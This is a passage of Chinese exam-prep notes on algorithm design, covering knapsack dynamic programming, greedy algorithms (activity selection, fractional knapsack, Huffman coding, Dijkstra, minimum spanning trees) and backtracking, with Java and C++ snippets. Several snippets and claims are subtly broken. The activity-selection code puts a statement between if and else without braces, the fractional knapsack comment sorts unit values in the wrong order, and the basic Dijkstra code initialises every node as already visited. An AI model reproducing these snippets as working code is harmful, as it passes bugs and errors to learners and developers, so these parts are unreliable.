m[i][j]=m[i+1][j];//物品i无法放入背包 } for (int j = w[i]; j \u0026lt;=c ; j++) {//物品i可放入背包 m[i][j]=Math.max(m[i+1][j],m[i+1][j-w[i]]+v[i]); } } m[1][c]=m[2][c]; if (c\u0026gt;=w[1]){ m[1][c]=Math.max(m[1][c],m[2][c-w[1]]+v[1]); } } /** * 求解 * @param m * @param w * @param c * @param n * @param x 具体的解 */ public static void TraceBack(int[][]m, int[]w,int c,int n,int[]x){ for(int i=1;i\u0026lt;n;i++) if(m[i][c]==m[i+1][c]) x[i]=0; else { x[i]=1; c-=w[i]; } x[n]=(m[n][c]\u0026gt;0)?1:0; } public static void main(String[] args) { int[]v={0,1,13,8,4,5,6,7}; int[]w={0,2,3,1,4,1,5,1}; int c = 10; int n = v.length; int[] x = new int[n]; int[][]m=new int[n][c+1]; Knapsack(v,w,c,n-1,m); TraceBack(m,w,c,n-1,x); for (int i = 1; i \u0026lt; n; i++) { System.out.println(x[i]+\u0026#34; \u0026#34;); } } } 一维的优化问题：\n以下从代码随想录的网站上复制的\n一维dp数组（滚动数组） # 对于背包问题其实状态都是可以压缩的。\n在使用二维数组的时候，递推公式：dpi = max(dpi - 1, dpi - 1] + value[i]);\n其实可以发现如果把dp[i - 1]那一层拷贝到dp[i]上，表达式完全可以是：dpi = max(dpi, dpi] + value[i]);\n与其把dp[i - 1]这一层拷贝到dp[i]上，不如只用一个一维数组了，只用dp[j]（一维数组，也可以理解是一个滚动数组）。\n这就是滚动数组的由来，需要满足的条件是上一层可以重复利用，直接拷贝到当前层。\n读到这里估计大家都忘了 dpi里的i和j表达的是什么了，i是物品，j是背包容量。\ndpi 表示从下标为[0-i]的物品里任意取，放进容量为j的背包，价值总和最大是多少。\n一定要时刻记住这里i和j的含义，要不然很容易看懵了。\n动规五部曲分析如下：\n确定dp数组的定义 关于dp数组的定义，我在 01背包理论基础\n(opens new window) 有详细讲解\n在一维dp数组中，dp[j]表示：容量为j的背包，所背的物品价值可以最大为dp[j]。\n一维dp数组的递推公式 二维dp数组的递推公式为： dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - weight[i]] + value[i]);\n公式是怎么来的 在这里 01背包理论基础\n(opens new window) 有详细讲解。\n一维dp数组，其实就上上一层 dp[i-1] 这一层 拷贝的 dp[i]来。\n所以在 上面递推公式的基础上，去掉i这个维度就好。\n递推公式为：dp[j] = max(dp[j], dp[j - weight[i]] + value[i]);\n以下为分析：\ndp[j]为 容量为j的背包所背的最大价值。\ndp[j]可以通过dp[j - weight[i]]推导出来，dp[j - weight[i]]表示容量为j - weight[i]的背包所背的最大价值。\ndp[j - weight[i]] + value[i] 表示 容量为 [j - 物品i重量] 的背包 加上 物品i的价值。（也就是容量为j的背包，放入物品i了之后的价值即：dp[j]）\n此时dp[j]有两个选择，一个是取自己dp[j] 相当于 二维dp数组中的dpi-1，即不放物品i，一个是取dp[j - weight[i]] + value[i]，即放物品i，指定是取最大的，毕竟是求最大价值，\n所以递归公式为：\ndp[j] = max(dp[j], dp[j - weight[i]] + value[i]); 可以看出相对于二维dp数组的写法，就是把dpi中i的维度去掉了。\n一维dp数组如何初始化 关于初始化，一定要和dp数组的定义吻合，否则到递推公式的时候就会越来越乱。\ndp[j]表示：容量为j的背包，所背的物品价值可以最大为dp[j]，那么dp[0]就应该是0，因为背包容量为0所背的物品的最大价值就是0。\n那么dp数组除了下标0的位置，初始为0，其他下标应该初始化多少呢？\n看一下递归公式：dp[j] = max(dp[j], dp[j - weight[i]] + value[i]);\ndp数组在推导的时候一定是取价值最大的数，如果题目给的价值都是正整数那么非0下标都初始化为0就可以了。\n这样才能让dp数组在递归公式的过程中取的最大的价值，而不是被初始值覆盖了。\n那么我假设物品价值都是大于0的，所以dp数组初始化的时候，都初始为0就可以了。\n一维dp数组遍历顺序 代码如下：\nfor(int i = 0; i \u0026lt; weight.size(); i++) { // 遍历物品 for(int j = bagWeight; j \u0026gt;= weight[i]; j--) { // 遍历背包容量 dp[j] = max(dp[j], dp[j - weight[i]] + value[i]); } } 这里大家发现和二维dp的写法中，遍历背包的顺序是不一样的！\n二维dp遍历的时候，背包容量是从小到大，而一维dp遍历的时候，背包是从大到小。\n为什么呢？\n倒序遍历是为了保证物品i只被放入一次！。但如果一旦正序遍历了，那么物品0就会被重复加入多次！\n举一个例子：物品0的重量weight[0] = 1，价值value[0] = 15\n如果正序遍历\ndp[1] = dp[1 - weight[0]] + value[0] = 15\ndp[2] = dp[2 - weight[0]] + value[0] = 30\n此时dp[2]就已经是30了，意味着物品0，被放入了两次，所以不能正序遍历。\n为什么倒序遍历，就可以保证物品只放入一次呢？\n倒序就是先算dp[2]\ndp[2] = dp[2 - weight[0]] + value[0] = 15 （dp数组已经都初始化为0）\ndp[1] = dp[1 - weight[0]] + value[0] = 15\n所以从后往前循环，每次取得状态不会和之前取得状态重合，这样每种物品就只取一次了。\n那么问题又来了，为什么二维dp数组遍历的时候不用倒序呢？\n因为对于二维dp，dpi都是通过上一层即dpi - 1计算而来，本层的dpi并不会被覆盖！\n（如何这里读不懂，大家就要动手试一试了，空想还是不靠谱的，实践出真知！）\n再来看看两个嵌套for循环的顺序，代码中是先遍历物品嵌套遍历背包容量，那可不可以先遍历背包容量嵌套遍历物品呢？\n不可以！\n因为一维dp的写法，背包容量一定是要倒序遍历（原因上面已经讲了），如果遍历背包容量放在上一层，那么每个dp[j]就只会放入一个物品，即：背包里只放入了一个物品。\n所以一维dp数组的背包在遍历顺序上和二维其实是有很大差异的！，这一点大家一定要注意。\n10.最优二叉搜索树 # TODO：\n4.贪心算法 # 由局部最优推理全局最优，但是结果不一定正确，数学上的证明才能说明最好。\n一般来说简单的贪心都会先考虑排序问题。\n1.活动安排问题 # 活动安排问题：要求高效地安排一系列争用某一公共资源的活动。\n活动序号 1 2 3 4 5 6 7 8 9 10 11 起始时间 1 3 0 5 3 5 6 8 8 2 12 结束时间 4 5 6 7 8 9 10 11 12 13 14 1、问题定义 # ​\t设有n个活动的集合E={1,2,…,n}，其中每个活动都要求使用同一资源，如演讲会场等，而在同一时间内只有一个活动能使用这一资源。（临界资源）\n​\t每个活动i都有一个要求使用该资源的起始时间𝑠𝑖和一个结束时间𝑓𝑖，且𝑠𝑖\u0026lt;𝑓𝑖 。\n​\t如果选择了活动i，则它在半开时间区间[𝑠𝑖,𝑓𝑖)内占用资源。若区间与[𝑠𝑖,𝑓𝑖)区间[𝑠𝑗,𝑓𝑗)不相交，则称活动i与活动j是相容的。即，当𝑠𝑖≥𝑓𝑗或𝑠𝑗≥𝑓𝑖时，活动i与活动j相容，\n​\t问题就是选择一个由互相兼容的活动组成的最大集合\n2、实现代码 # template\u0026lt;class Type\u0026gt; void GreedySelector(int n, Type s[], Type f[], bool A[]) { //各活动的起始时间和结束时间存储在数组s和f中 //且按结束时间的非递减排序：f1≤f2≤…≤fn排列。 A[1]=true; //用集合A存储所选择的活动 int j=1; for(int i=2; i\u0026lt;=n; i++) { //将与j相容的具有最早完成时间的相容活动加入集合A if(s[i]\u0026gt;=f[j]) A[i]=true; j=i; else A[i]=false; } } 3、算法分析 # ​\t设集合a包含已被选择的活动， 初始时为空。所有待选择的活动按结束时间的非递减顺序排列：𝑓1≤𝑓2≤\u0026hellip;𝑓𝑛\n​\t变量j指出最近加入a的活动序号。由于按结束时间非递减顺序来考虑各项活动的，所以𝑓𝑗总是a中所有活动的最大结束时间\n​\t由于输入活动是以完成时间的非递减排列，所选择的下一个活动总是可被合法调度的活动中具有最早结束时间的那个，所以算法是一个**“贪心的”选择**，即使得使剩余的可安排时间段极大化，以便安排尽可能多的相容活动。\n4、复杂性分析 # ​\t算法GreedySelector的效率极高。当输入的活动已按结束时间的非减序排列，算法只需O(n)的时间就可安排n个活动，使最多的活动能相容地使用公共资源。 如果所给出的活动未按非减序排列，可以用O(nlogn)的时间重排。\n5、贪心选择性质和最优子结构性质证明 # 还是注意贪心的证明的方法。\n​\t设集合E={1，2，…，n}为所给的活动集合。由于E中活动按结束时间的非减序排列，故活动1有最早完成时间。\n证明I：活动安排问题有一个最优解以贪心选择开始，即该最优解中包含活动1。\n证明II：对集合E中所有与活动1相容的活动进行活动安排求得最优解的子问题。\n​\t即需证明：若A是原问题的最优解，则A’=A-{1}是活动安排问题E’={i∈E:si≥f1}的最优解。\n非常浅显的证明，考试前看一下。\n​\t如果能找到*E*’的一个最优解*B*’，它包含比*A*’更多的活动，则将活动1加入到*B*’中将产生*E*的一个解*B*，它包含比*A*更多的活动。这与*A*的最优性矛盾。\n​\t结论：每一步所做的贪心选择问题都将问题简化为一个更小的与原问题具有相同形式的子问题。\n2.01背包问题 # ​\t与0-1背包问题类似，所不同的是在选择物品i装入背包时，可以选择物品i的一部分，而不一定要全部装入背包。 此问题的形式化描述为，给定𝑐\u0026gt;0,𝑤𝑖\u0026gt;0,𝑣𝑖\u0026gt;0,1≤𝑖≤𝑛，要求找出一个n元0-1向量(𝑥1,𝑥2,..,𝑥𝑛)，其中0≤𝑥𝑖≤1,1≤𝑖≤𝑛 ，使得对𝑤𝑖𝑥𝑖求和小于等于c ，并且对𝑣𝑖𝑥𝑖求和达到最大。\n​\t对于0-1背包问题，贪心选择之所以不能得到最优解是因为，在这种情况下，无法保证最终能把背包装满，部分闲置的背包空间会使每千克背包空间的价值降低。\n1、题目描述 # ​\t有3种物品，背包的容量为50千克。物品1重10千克，价值60元；物品2重20千克，价值100元；物品3重30千克，价值120元。用贪心算法求背包问题。\n2、基本步骤 # ​\t首先计算每种物品单位重量的价值𝑣𝑖/𝑤𝑖；\n还是根据这个单位重量进行一个排序。\n​\t然后，依贪心选择策略，将尽可能多的单位重量价值最高的物品装入背包。\n​\t若将这种物品全部装入背包后，背包内的物品总重量未超过c，则选择单位重量价值次高的物品并尽可能多地装入背包。依此策略一直地进行下去，直到背包装满为止。\n3、贪心策略 # ​\t贪心策略：物品1，6元/千克；物品2，5元/千克；物品3，4元/千克。\n4、算法描述 # ​\t该算法前提：所有物品在集合中按其单位重量的价值从小到大排列。\nvoid Knapsack(int n, float M, float v[], float w[], float x[]) { sort(n, v, w);//按照单位价值从小到大排列 int i; for (i = 1; i \u0026lt;= n; i++) x[i] = 0; float c = M; for (i = 1; i \u0026lt;= n; i++) { if (w[i] \u0026gt; c) break; x[i] = 1; c -= w[i]; } if (i \u0026lt;= n) x[i] = c / w[i];//按比例放 } 算法Knapspack的主要计算时间在于将各种物品按其单位重量的价值从小到大排序，算法的时间复杂度O(nlogn) 。\n3.HaffMan编码 # 7分简答题\n学过数据结构就比较简单。\n​\t哈夫曼编码是广泛地用于数据文件压缩的十分有效的编码方法。其压缩率通常在20%～90%之间。\n​\t哈夫曼编码算法是用字符在文件中出现的频率表来建立一个用0,1串表示各字符的最优表示方式。\n​\t编码目标：给出现频率高的字符较短的编码，出现频率较低的字符以较长的编码，可以大大缩短总码长。\n1、前缀码(考点) # ​\t定义：对每一个字符规定一个0,1串作为其代码，并要求任一字符的代码都不是其他字符代码的前缀。这种编码称为前缀码。\n​\t编码的前缀性质可以使译码方法非常简单。由于任一字符的代码都不是其他字符代码的前缀，从编码文件中不断取出代表某一字符的前缀码，转换为原字符，即可逐个译出文件中的所有字符。\n规定一下，小的数字放在二叉树的左子结点，大的数字放在二叉树的右边子结点，左边是0,右边是1。\na b c d e f 频率 45 13 12 16 9 5 定长码 000 001 010 011 100 101 变长码 0 101 100 111 1101 1100 给定序列：001011101，可以唯一的分解为0，0，101，1101，编译为aabe\n2、问题分 # ​\t译码过程需要方便地取出编码的前缀，因此需要一个表示前缀码的合适的数据结构。\n​\t用二叉树作为前缀编码的数据结构。在表示前缀码的二叉树中，树叶代表给定的字符，并将每个字符的前缀码看作是从树根到代表该字符的树叶的一条道路。代码中每一位的0或1分别作为指示某结点到其左儿子或右儿子的“路标”。\n3、前缀码的二叉树表示 # 4、构造哈夫曼编码(考点) # ​\t哈夫曼算法以自底向上的方式构造表示最优前缀码的二叉树T。\n​\t编码字符集中每一字符c的频率是f(c)。以f为键值的优先队列Q用以在作贪心选择时有效地确定算法当前要合并的两棵具有最小频率的树。一旦两棵具有最小频率的树合并后，产生一棵新的树，其频率为合并的两棵树的频率之和，并将新树插入优先队列Q中，再进行新的合并。\n•由于字符集中有6个字符，优先队列的大小初始为6，总共用5次合并得到最终的编码树T。\n• 每次合并使Q的大小减1，最终得到的树就是最优前缀编码：哈夫曼编码树，每个字符的编码由树T的根到该字符的路径上各边的标号所组成。\n​\t1️⃣ 算法首先用字符集C中每一个字符c的频率f(c)初始化优先队列Q。以f为键值的优先队列Q用在贪心选择时有效地确定算法当前要合并的2棵具有最小频率的树。\n​\t2️⃣ 然后不断地从优先队列Q中取出具有最小频率的两棵树x和y，将它们合并为一棵新树z。z的频率是x和y的频率之和。\n​\t3️⃣ 新树z以x为其左儿子，y为其右儿子（也可以y为其左儿子，x为其右儿子。不同的次序将产生不同的编码方案，但平均码长是相同的）。经过n-1次的合并后，优先队列中只剩下一棵树，即所要求的树T。\n4.Dijkstra算法\u0026mdash;单源最短路径 # ​\t给定带权有向图G=(V,E)，其中每条边的权是非负实数。\n​\t给定V中的一个顶点，称为源。\n​\t现在要计算从源到其他所有各顶点的最短路径长度。这里的路径长度是指路径上各边权之和，这个问题通常称为单源最短路径问题。\n考点：画一个迭代矩阵\n算法基本思想 # ​\tDijkstra算法是求解单源最短路径问题的一个贪心算法。\n​\t基本思想：设置一个顶点集合S ，并不断地作贪心选择来扩充这个集合。一个顶点属于集合 S 当且仅当从源到该顶点的最短路径长度已知。\nDijkstra算法通过分步方法求出最短路径。\n每一步产生一个到达新的目的顶点的最短路径。\n下一步所能达到的目的顶点通过这样的贪心准则选取：在还未产生最短路径的顶点中，选择路径长度最短的目的顶点。\n也就是说， Dijkstra算法按路径长度顺序产生最短路径。\nDijkstra算法的执行 # 1️⃣ 设置一个顶点集合S。一个顶点属于集合 S 当且仅当从源到该顶点的最短路径长度已知。\n2️⃣ 初始时，S中仅含有源。\n3️⃣ 设u是G的某一个顶点，把从源到u且中间只有经过S中顶点的路称为从源到u的特殊路径，并且用数组dist来记录当前每个顶点所对应的最短特殊路径长度。\n4️⃣ Dijkstra算法每次从V-S中取出具有最短特殊路径长度的顶点u，将u添加到 S 中，同时对数组dist作必要的修改。\n5️⃣ 一旦S包含了所有V中顶点，dist就记录了从源到所有其他顶点之间的最短路径长度。\n过程说明 # 已知：带权有向图\nV = { v1, v2, v3, v4, v5 }\nE = { \u0026lt; v1, v2 \u0026gt;, \u0026lt; v1, v4 \u0026gt;, \u0026lt; v1, v5 \u0026gt;, \u0026lt; v2, v3 \u0026gt;, \u0026lt; v3, v5 \u0026gt;, \u0026lt; v4, v3 \u0026gt;, \u0026lt; v4, v5 \u0026gt; }\n设为v1源点，求其到其余顶点的最短路径。\n其中，没有特殊路径的顶点用maxint表示其最短特殊路径长度\n迭代矩阵(考点) # 可能会画这样的图，数据结构让画过。\n迭代 S u dist[2] dist[3] dist[4] dist[5] 初始 {1} - 10 maxint 30 100 1 {1,2} 2 10 60 30 100 2 {1,2,4} 4 10 50 30 90 3 {1,2,4,3} 3 10 50 30 60 4 {1,2,4,3,5} 5 10 50 30 60 ​\t按长度顺序产生最短路径时，下一条最短路径总是由一条已产生的最短路径加上一条边形成。\n没有优化的代码：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;algorithm\u0026gt; #include \u0026lt;cstdio\u0026gt; #include \u0026lt;cstring\u0026gt; #define N 510 using namespace std; int grid[N][N]; bool isInSet[N]; int minLen[N]; void dij(int n, int m){ memset(minLen, 0x3f, sizeof(minLen)); memset(isInSet, -1, sizeof(isInSet)); minLen[1] = 0; for(int index = 0; index \u0026lt; n; ++index){ int t = -1; //遍历找到距离最小的点 for(int i = 1; i \u0026lt;= n; ++i){ if(!isInSet[i] \u0026amp;\u0026amp; (t == -1 || minLen[i] \u0026lt; minLen[t])) t = i; } isInSet[t] = true; //用t更新到所有其他点的距离 for(int i = 1; i \u0026lt;= n; ++i){ minLen[i] = min(minLen[i], minLen[t] + grid[t][i]); } } int ans = (minLen[n] == 0x3f3f3f3f ? -1 : minLen[n]); printf(\u0026#34;%d\\n\u0026#34;, ans); } int main(void){ int n, m; cin \u0026gt;\u0026gt; n \u0026gt;\u0026gt; m; memset(grid, 0x3f, sizeof(grid)); for(int index = 0; index \u0026lt; m; ++index){ int x, y, z; cin \u0026gt;\u0026gt; x \u0026gt;\u0026gt; y \u0026gt;\u0026gt; z; grid[x][y] = min(grid[x][y], z);//去重复 } dij(n, m); } 使用堆来做优化：\nconst int N = 100010; // 稀疏图用邻接表来存 int h[N], e[N], ne[N], idx; int w[N]; // 用来存权重 int dist[N]; bool st[N]; // 如果为true说明这个点的最短路径已经确定 int n, m; void add(int x, int y, int c) { // 有重边也不要紧，假设1-\u0026gt;2有权重为2和3的边，再遍历到点1的时候2号点的距离会更新两次放入堆中 // 这样堆中会有很多冗余的点，但是在弹出的时候还是会弹出最小值2+x（x为之前确定的最短路径）， // 并标记st为true，所以下一次弹出3+x会continue不会向下执行。 w[idx] = c; e[idx] = y; ne[idx] = h[x]; h[x] = idx++; } int dijkstra() { memset(dist, 0x3f, sizeof(dist)); dist[1] = 0; priority_queue\u0026lt;PII, vector\u0026lt;PII\u0026gt;, greater\u0026lt;PII\u0026gt;\u0026gt; heap; // 定义一个小根堆 // 这里heap中为什么要存pair呢，首先小根堆是根据距离来排的，所以有一个变量要是距离， // 其次在从堆中拿出来的时候要知道知道这个点是哪个点，不然怎么更新邻接点呢？所以第二个变量要存点。 heap.push({ 0, 1 }); // 这个顺序不能倒，pair排序时是先根据first，再根据second， // 这里显然要根据距离排序 while(heap.size()) { PII k = heap.top(); // 取不在集合S中距离最短的点 heap.pop(); int ver = k.second, distance = k.first; if(st[ver]) continue; st[ver] = true; for(int i = h[ver]; i != -1; i = ne[i]) { int j = e[i]; // i只是个下标，e中在存的是i这个下标对应的点。 if(dist[j] \u0026gt; distance + w[i]) { dist[j] = distance + w[i]; heap.push({ dist[j], j }); } } } if(dist[n] == 0x3f3f3f3f) return -1; else return dist[n]; } 5.最小生成树MST(算法大意要描述) # 1、问题描述 # 设G=(V,E)是无向带权连通图，即一个网络。\nE中每条边(v,w)的权为𝑐[𝑣][𝑤]。如果G的子图G’是一棵包含G的所有顶点的树，则称G’为G的生成树。\n生成树上各边权的总和称为该生成树的耗费。在G的所有生成树中，耗费最小的生成树称为G的最小生成树。\n网络的最小生成树在实际中有广泛应用。\n例如，在设计通信网络时，用图的顶点表示城市，用边(v,w)的权𝑐[𝑣][𝑤]表示建立城市v和城市w之间的通信线路所需的费用，则最小生成树就给出了建立通信网络的最经济的方案。\n2、贪心法求解准则 # 根据最优量度标准，算法的每一步从图中选择一条符合准则的边，共选择n-1条边，构成无向连通图的一棵生成树。\n贪心法求解的关键：该量度标准必须足够好。它应当保证依据此准则选出n-1条边构成原图的一棵生成树，必定是最小代价生成树。\n3、prim算法 # ​\tMST（Minimum Spanning Tree，最小生成树）问题有两种通用的解法，Prim算法就是其中之一，它是从点的方面考虑构建一颗MST，大致思想是：设图G顶点集合为U，首先任意选择图G中的一点作为起始点a，将该点加入集合V，再从集合U-V中找到另一点b使得点b到V中任意一点的权值最小，此时将b点也加入集合V；以此类推，现在的集合V={a，b}，再从集合U-V中找到另一点c使得点c到V中任意一点的权值最小，此时将c点加入集合V，直至所有顶点全部被加入V，此时就构建出了一颗MST。因为有N个顶点，所以该MST就有N-1条边，每一次向集合V中加入一个点，就意味着找到一条MST的边。\n详解请参考https://blog.csdn.net/yeruby/article/details/38615045\n考点：算法思想与生成顺序方法说明\nKruskal算法的贪心准则：按边代价的非减次序考察E中的边，从中选择一条代价最小的边e=(u,v)。这种做法使得算法在构造生成树的过程中，当前子图不一定是连通的。\n算法思想——从点出发\nvoid Prim(int n,Type **c){//c[i][j]为边(i,j)的权值 TE=Ø; U={1}; while(U!=V){ (u,v)=u属于U且v属于V-U的最小权边； TE=TE∪{(u,v)}; U=U∪{v}; } } Prim算法的时间复杂度为𝑂(𝑛2)\n4、Kruskal算法 # 从边的角度出发解决问题。\n详情请看https://www.cnblogs.com/fzl194/p/8723325.html\n算法思想——从边出发\n1️⃣设连通网 N = (V, E )，令最小生成树初始状态为只有 n 个顶点而无边的非连通图 T=(V, { })，每个顶点自成一个连通分量。\n2️⃣在 E 中选取代价最小的边，若该边依附 的顶点落在 T 中相同的连通分量上（即： 不能形成环），则将此边加入到 T 中；否 则，舍去此边，选取下一条代价最小的边。\n3️⃣ 依此类推，直至 T 中所有顶点都在同一 连通分量上为止。\nKruskal算法的时间复杂度为𝑂(𝑛𝑙𝑜𝑔𝑛)\n6.*多机调度问题 # 近似算法，最长的最先开始处理即可。\n1、问题描述 # ​\t多机调度问题要求给出一种作业调度方案，使所给的n个作业在尽可能短的时间内由m台机器加工处理完成。约定，每个作业均可在任何一台机器上加工处理，但未完工前不允许中断处理。作业不能拆分成更小的子作业。\n这个问题是NP完全问题，到目前为止还没有有效的解法。对于这一类问题,用贪心选择策略有时可以设计出较好的近似算法。\n2、算法思想 # ​\t采用最长处理时间作业优先的贪心选择策略可以设计出解多机调度问题的较好的近似算法。 按此策略，当𝑛≤𝑚时，只要将机器i的[0, ti]时间区间分配给作业i即可，算法只需要O(1)时间。 当𝑛\u0026gt;𝑚 时，首先将n个作业依其所需的处理时间从大到小排序。然后依此顺序将作业分配给空闲的处理机。算法所需的计算时间为O(nlogn)。\n3、举例说明 # ​\t设7个独立作业{1,2,3,4,5,6,7}由3台机器M1，M2和M3加工处理。各作业所需的处理时间分别为{2,14,4,16,6,5,3}。按算法greedy产生的作业调度如下图所示，所需的加工时间为17。\n5.回溯算法 # 填空题会有代码填空，大题会手动回溯\n学习要点 # 理解回溯法的深度优先搜索策略。\n掌握用回溯法解题的算法框架\n（1）递归回溯\n（2）迭代回溯\n（3）子集树算法框架\n（4）排列树算法框架\n5.1 回溯法的算法框架 # ​\t回溯法的基本做法是搜索，或是一种组织得井井有条的，能避免不必要搜索的穷举式搜索法。这种方法适用于解一些组合数相当大的问题。\n​\t回溯法在问题的解空间树中，按深度优先策略，从根结点出发搜索解空间树。算法搜索至解空间树的任意一点时，先判断该结点是否包含问题的解。如果肯定不包含，则跳过对该结点为根的子树的搜索，逐层向其祖先结点回溯；否则，进入该子树，继续按深度优先策略搜索。\n1、问题的解空间 # 用回溯法解问题时，应明确定义问题的解空间。\n解空间往往用向量集表示。\n问题的解向量：回溯法希望一个问题的解能够表示成一个n元式(x1,x2,…,xn)的形式。\n显约束：对分量xi的取值限定。\n隐约束：为满足问题的解而对不同分量之间施加的约束。\n解空间：对于问题的一个实例，解向量满足显式约束条件的所有多元组，构成了该实例的一个解空间。\n2、回溯的基本思想 # 扩展结点：一个正在产生儿子的结点称为扩展结点。\n活结点：一个自身已生成但其儿子还没有全部生成的节点称做活结点。\n死结点：一个所有儿子已经产生的结点称做死结点。\n深度优先的问题状态生成法：如果对一个扩展结点R，一旦产生了它的一个儿子C，就把C当做新的扩展结点。在完成对子树C（以C为根的子树）的穷尽搜索之后，将R重新变成扩展结点，继续生成R的下一个儿子（如果存在）。\n所以回溯法中一个节点是可以多次成为一个扩展节点但是分支限界法一个节点最多仅有一次机会。\n宽度优先的问题状态生成法：在一个扩展结点变成死结点之前，它一直是扩展结点。\n回溯法从开始结点（根结点）出发，以深度优先方式搜索整个解空间。\n基本思想\n1️⃣ 针对所给问题，定义问题的解空间；\n2️⃣ 确定易于搜索的解空间结构；\n3️⃣ 以深度优先方式搜索解空间，并在搜索过程中用剪枝函数避免无效搜索\n常用剪枝函数：（这里可能会考察定义）\n用约束函数在扩展结点处剪去不满足约束的子树；\n用限界函数剪去得不到最优解的子树。\n3、递归回溯——背诵 # void Backtrack (int t) //t为递归深度 { if (t\u0026gt;n) Output(x); //记录或输出可靠解x，x为数组 else for (int i=f(n,t); i\u0026lt;=g(n,t); i++) { //f(n,t)表示在当前扩展结点处未搜索过的子树的起始编号 //g(n,t)为终止编号 x[t]=h(i); //h(i)表示当前扩展结点处x[t]的第i个可选值 if (Constraint(t)\u0026amp;\u0026amp;Bound(t)) //剪枝 Backtrack(t+1); } } 回溯法对解空间作深度优先搜索，因此，在一般情况下用递归方法实现回溯法。\n4、迭代回溯——会填空即可 # void IterativeBacktrack (){ int t=1; while (t\u0026gt;0){ if (f(n,t)\u0026lt;=g(n,t)) for (int i=f(n,t); i\u0026lt;=g(n,t); i++){ x[t]=h(i); if (Constraint(t)\u0026amp;\u0026amp;Bound(t)){ if (solution(t)) //判断是否已得到可行解 Output(x); else t++; } } else t--; } } f(n,t)表示在当前扩展结点处未搜索过的子树的起始编号\ng(n,t)为终止编号\nh(i)表示当前扩展结点处x[t]的第i个可选值\n5、子集树和排列树(重点) # ​\t子集树：当所给的问题是从n个元素的集合S中找出满足某种性质的子集时，相应的解空间树称为子集树。时间复杂度𝛺(2𝑛)。算法描述如下：\nLeetCode:https://leetcode.cn/problems/subsets/\nclass Solution { List\u0026lt;Integer\u0026gt; path = new ArrayList(); List\u0026lt;List\u0026lt;Integer\u0026gt;\u0026gt; ans = new ArrayList(); public List\u0026lt;List\u0026lt;Integer\u0026gt;\u0026gt; subsets(int[] nums) { dfs(0, nums); return ans; } private void dfs(int index, int[] nums) { if(index == nums.length){ ans.add(new ArrayList\u0026lt;Integer\u0026gt;(path)); return; } dfs(index + 1, nums); path.add(nums[index]); dfs(index + 1, nums); path.remove(path.size() - 1); } } 类似于伪代码：\n每个代码选和不选。\nvoid Backtrack (int t) { if (t\u0026gt;n) Output(x); else for (int i=0; i\u0026lt;=1; i++) { x[t]=i; if (Constraint(t)\u0026amp;\u0026amp;Bound(t)) Backtrack(t+1); } } ​\t排列树当所给的问题是确定n个元素满足某种性质的排列时，相应的解空间树称为排列树。时间复杂度𝛺(𝑛!)。算法描述如下：\n时间复杂度就是排列的大小Ann = n!。\nLeetCode:https://leetcode.cn/problems/permutations\nclass Solution { List\u0026lt;List\u0026lt;Integer\u0026gt;\u0026gt; ans = new ArrayList(); public List\u0026lt;List\u0026lt;Integer\u0026gt;\u0026gt; permute(int[] nums) { dfs(0, nums); return ans; } private void swap(int i, int j, int[] nums){ int temp = nums[i]; nums[i] = nums[j]; nums[j] = temp; } private void dfs(int index, int[] nums){ if(index == nums.length){ List\u0026lt;Integer\u0026gt; path = Arrays.stream(nums).boxed().collect(Collectors.toList()); ans.add(path); return; } // 重点：在基准之后循环，交换，接着继续递归。 for(int i = index; i \u0026lt; nums.length; ++i){ swap(i, index, nums); dfs(index + 1, nums); swap(i, index, nums); } } } 注意这里的两个swap函数。\nvoid Backtrack (int t) { if (t\u0026gt;n) Output(x); else for (int i=t; i\u0026lt;=n; i++) { Swap(x[t], x[i]); if (Constraint(t)\u0026amp;\u0026amp;Bound(t)) Backtrack(t+1); Swap(x[t], x[i]); } } 5.2 装载问题 # 1、问题描述 # 有一批共n个集装箱要装上2艘载重量分别为c1和c2的轮船，其中集装箱i的重量为wi，且∑𝑖=1𝑛𝑤𝑖≤𝑐1+𝑐2，装载问题要求确定是否有一个合理的装载方案可将这些集装箱装上这2艘轮船。如果有，找出一种装载方案。\n例如：\nn=3, c1=c2=50，且w=[10,40,40]。\n装载方案：\n第一艘轮船装集装箱1和2；二艘轮船装集装箱3。\n如果一个给定装载问题有解，则采用下面的策略可得到最优装载方案。(1)首先将第一艘轮船尽可能装满；(2)将剩余的集装箱装上第二艘轮船。将第一艘轮船尽可能装满等价于选取全体集装箱的一个子集，使该子集中集装箱重量之和最接近c1。\n2、算法分析 # 解空间：子集树\n可行性约束函数(选择当前元素)：∑𝑖=1𝑛𝑤𝑖𝑥𝑖≤𝑐1𝑥𝑖∈0,1\ntemplate\u0026lt;typename Type\u0026gt; class Loading { template\u0026lt;typename T\u0026gt; friend T MaxLoading(T [],T,int); private: void Backtrack(int i); int n; //集装箱数 Type *w; //集装箱重量数组 Type c; //第1艘轮船的载重量 Type cw; //当前载重量 Type bestw; //当前最优载重量 }; template\u0026lt;typename Type\u0026gt; void Loading\u0026lt;Type\u0026gt;::Backtrack(int i) //搜索第i层结点 { if(i\u0026gt;n) //到达叶结点 { if(cw\u0026gt;bestw) bestw=cw; return; } if(cw+w[i]\u0026lt;=c) //进入左子树，x[i]=1 { cw+=w[i]; Backtrack(i+1); //继续搜索下一层 cw-=w[i]; //退出左子树 } Backtrack(i+1); //进入右子树，x[i]=0 } template\u0026lt;typename Type\u0026gt; Type MaxLoading(Type w[],Type c,int n) //返回最优载重量 { Loading\u0026lt;Type\u0026gt; X; X.w=w; //初始化X X.c=c; X.n=n; X.bestw=0; X.cw=0; X.Backtrack(1); //从第1层开始搜索 return X.bestw; } int main() { const int n=6; int c=80; int w[]={0,20,40,40,10,30,20}; //下标从1开始 int s=MaxLoading(w,c,n); cout\u0026lt;\u0026lt;s\u0026lt;\u0026lt;endl; return 0; 算法在每个结点处花费O(1)时间，子集树中结点个数为O(2n)，故算法的计算时间为O(2n)。\n3、上界函数 # 对于上一算法可引入一个上界函数，用于剪去不含最优解的子树。\n上界函数(不选择当前元素)：当前载重量cw+剩余集装箱的重量r≤当前最优载重量bestw。\n就是剪枝函数。\ntemplate\u0026lt;typename Type\u0026gt; class Loading { template\u0026lt;typename T\u0026gt; friend T MaxLoading(T [],T,int); private: void Backtrack(int i); int n; //集装箱数 Type *w; //集装箱重量数组 Type c; //第1艘轮船的载重量 Type cw; //当前载重量 Type bestw; //当前最优载重量 Type r; //剩余集装箱重量 }; template\u0026lt;typename Type\u0026gt; void Loading\u0026lt;Type\u0026gt;::Backtrack(int i) //搜索第i层结点 { if(i\u0026gt;n) //到达叶结点 { if(cw\u0026gt;bestw) bestw=cw; return; } 